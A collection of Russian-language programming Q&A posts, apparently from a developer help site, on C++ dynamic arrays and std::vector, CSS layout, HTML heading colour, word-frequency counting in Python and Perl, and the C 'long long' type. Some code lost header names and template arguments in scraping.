В C++ отсутствуют массивы переменной длины (Variable Length Arrays - VLA), размер которых можно задавать во время выполнения программы. В C++ размер массива должен быть известен на этапе компиляции, а потому задается константным выражением. Некоторые компиляторы имеют собственные расширения языка C++, которые включают поддержку массивов переменной длины, но, тем не менее, это не соответствует стандарту C++, а потому такой код будет не переносим.
Поэтому вам придется динамически распределять массив заданной пользователем длины. Например,
Float *f = new float[n];
Или если вы хотите, чтобы элементы массива были инициализированы 0, то
Float *f = new float[n]();
Но тогда вам придется самостоятельно удалять выделенную память при завершении программы. Например,
delete [] f;
Такой подход чреват возникновением ошибок, связанных с утечкой памяти, так как программисты порой забывают вызывать оператор delete [] для выделенной памяти.
Поэтому лучше предоставить это делать компилятору, используя стандартный контейнер std::vector, который объявлен в заголовке Деструктор этого контейнера автоматически удаляет всю выделенную память под свои элементы.
Например,
#include
//...
std::vector f;
В программе вы используете цикл следующего вида
for (int i = 1; i <= n; i++) ^^^^^^^^^^^^^^^^^^^^^^^^^^^ { f[i] = (a + (i - 0.5) * h) / (1 + pow((a + (i - 0.5) * h), 2)); s = s + f[i]; }
Однако эта запись определения цикла неверная. Во-первых, индексы в массивах (и в стандартном контейнере std::vector) начинаютя с 0.
Во-вторых, при использовании в качестве значения индекса значения переменной n приводит к обращению к памяти за пределами массива, что веден к неопределенному поведению программы.
Правильный диапазон индексов для массива, имеющего n элементов, это [0, n), то есть n не входит в диапазон
Еще одна проблема связана с тем, что вы не инициализировали переменную s
float a, b, h, s, f[n]; ^^^
Поэтому она имеет неопределенное значение, и использование ее в предложениях, как, например, данное предложение
s = s + f[i];
приведет к неопределенному результату.
Локальные переменные следует стараться определять в наименьшей области видимости там, где они используется. Иначе многочисленные объявления локальных переменных до их использования только запутывают читающего ваш код программиста.
С учетом всего сказанного программа может выглядеть следующим образом.
#include "stdafx.h" #include #include #include
int main() { int n;
std::cout << "введите n: "; std::cin >> n;
float a, b;
std::cout << "введите a: "; std::cin >> a; std::cout << "введите b: "; std::cin >> b;
if ( a < b ) { std::vector f; f.reserve( n );
float h = ( b - a ) / n;
float s = 0.0f; for ( int i = 0; i < n; i++ ) { f.push_back( ( a + ( i - 0.5f ) * h ) / ( 1.0f + std::pow( ( a + ( i - 0.5f ) * h ), 2.0f) ) ); s += f.back(); }
s *= h;
std::cout << "(f1+f2+f3+..+fn)*h = " << s << std::endl; } else { std::cout << "введены данные не удовлетворяют условие (a < b)" << std::endl; }
return 0; }

Верстка изогнутого блока

Добрый день, может кто подсказать сверстать такой блок а точнее эту изогнутую шапку на блоке?


Ответ

С размерами можно поиграться, но идея примерно такая:
.wrapper { width: 200px; height: 20px; background-color: gray; margin: 20px auto; border-radius: 10px; position: relative; } .dot { position: absolute; width: 17px; height: 20px; background-color: black; border-radius: 50%; } .dot.right { top: 0; right: 0; } .lorem { position: absolute; width: 280px; height: 150px; background: linear-gradient(to right, white, silver); top: 10px; left: -40px; box-shadow: 0 0 2px silver; border-radius: 5px; text-align: center; font-size: 40px; padding-top: 120px; } .step { position: absolute; width: 166px; height: 60px; background-color: gray; top: 0; left: 17px; color: white; text-align: center; font-size: 36px; font-weight: bold; padding-top: 30px; } .romb { position: absolute; left: 63px; top: 53px; width: 74px; height: 74px; background-color: gray; transform: rotate(-45deg) skew(30deg, 30deg); }

Lorem ipsum dolor sit amet
ШАГ 1

Как задать цвет заголовку?

Подскажите, какой контейнер или атрибут тега задает цвет заголовку?


Ответ

Или ещё проще:

Hello, world!


Чтобы задать цвет - color

Частота слов в тексте

Ниже приведенный скрипт на Python подсчитывает частоту слов в тексте (непрерывных последовательностей букв за исключением знаков препинания) и выводит таблицу результатов.
Работает правильно. Вопрос вот в чем: можно ли сделать то же самое проще (например, меньше строк кода) на Python, Bash, PHP, Perl или это лучший способ?
import sys import string
file = open(sys.argv[1], "r") text = file.read() file.close()
table = string.maketrans("", "") words = text.lower().split(None)
frequencies = {} for word in words: trimmed = word.translate(table, string.punctuation) frequencies[trimmed] = frequencies.get(trimmed, 0) + 1
keys = sorted(frequencies.keys()) for word in keys: print "%-32s %d" % (word, frequencies[word])


Ответ

В вашем примере встречая подобную строку: "aa,bb,cc" она считается как "aabbcc 1", а должно быть: aa 1 bb 1 cc 1 Итак, мой вариант на Perl: #!/usr/bin/perl use strict;
my %result; while (<>) { $result{ lc $_ }++ for /(\w+)/g; }
printf "%-32s %d
", $_, $result{$_} for sort keys %result; можно его конечно скомпоновать и в одну строчку. но будет нечитаемо.

Странный код с двойным long

Увидел в коде вот такое выражение: long long value = ...; Почему здесь long 2 раза? Это опечатка или такое корректно и действительно что-то значит? Если так, то что изменится, если один long стереть или если, наоборот, дописать еще один?


Ответ

Из ISO/IEC 9899:1999 (E): 4 There are five standard signed integer types, designated as signed char, short int, int, long int, and long long int. (These and other types may be designated in several additional ways, as described in 6.7.2.) There may also be implementation-defined extended signed integer types.28) The standard and extended signed integer types are collectively called signed integer types.29) — minimum value for an object of type long int LONG_MIN -2147483647 // -(2^31 - 1) — maximum value for an object of type long int LONG_MAX +2147483647 // 2^31 - 1 — minimum value for an object of type long long int LLONG_MIN -9223372036854775807 // -(2^63 - 1) — maximum value for an object of type long long int LLONG_MAX +9223372036854775807 // 2^63 - 1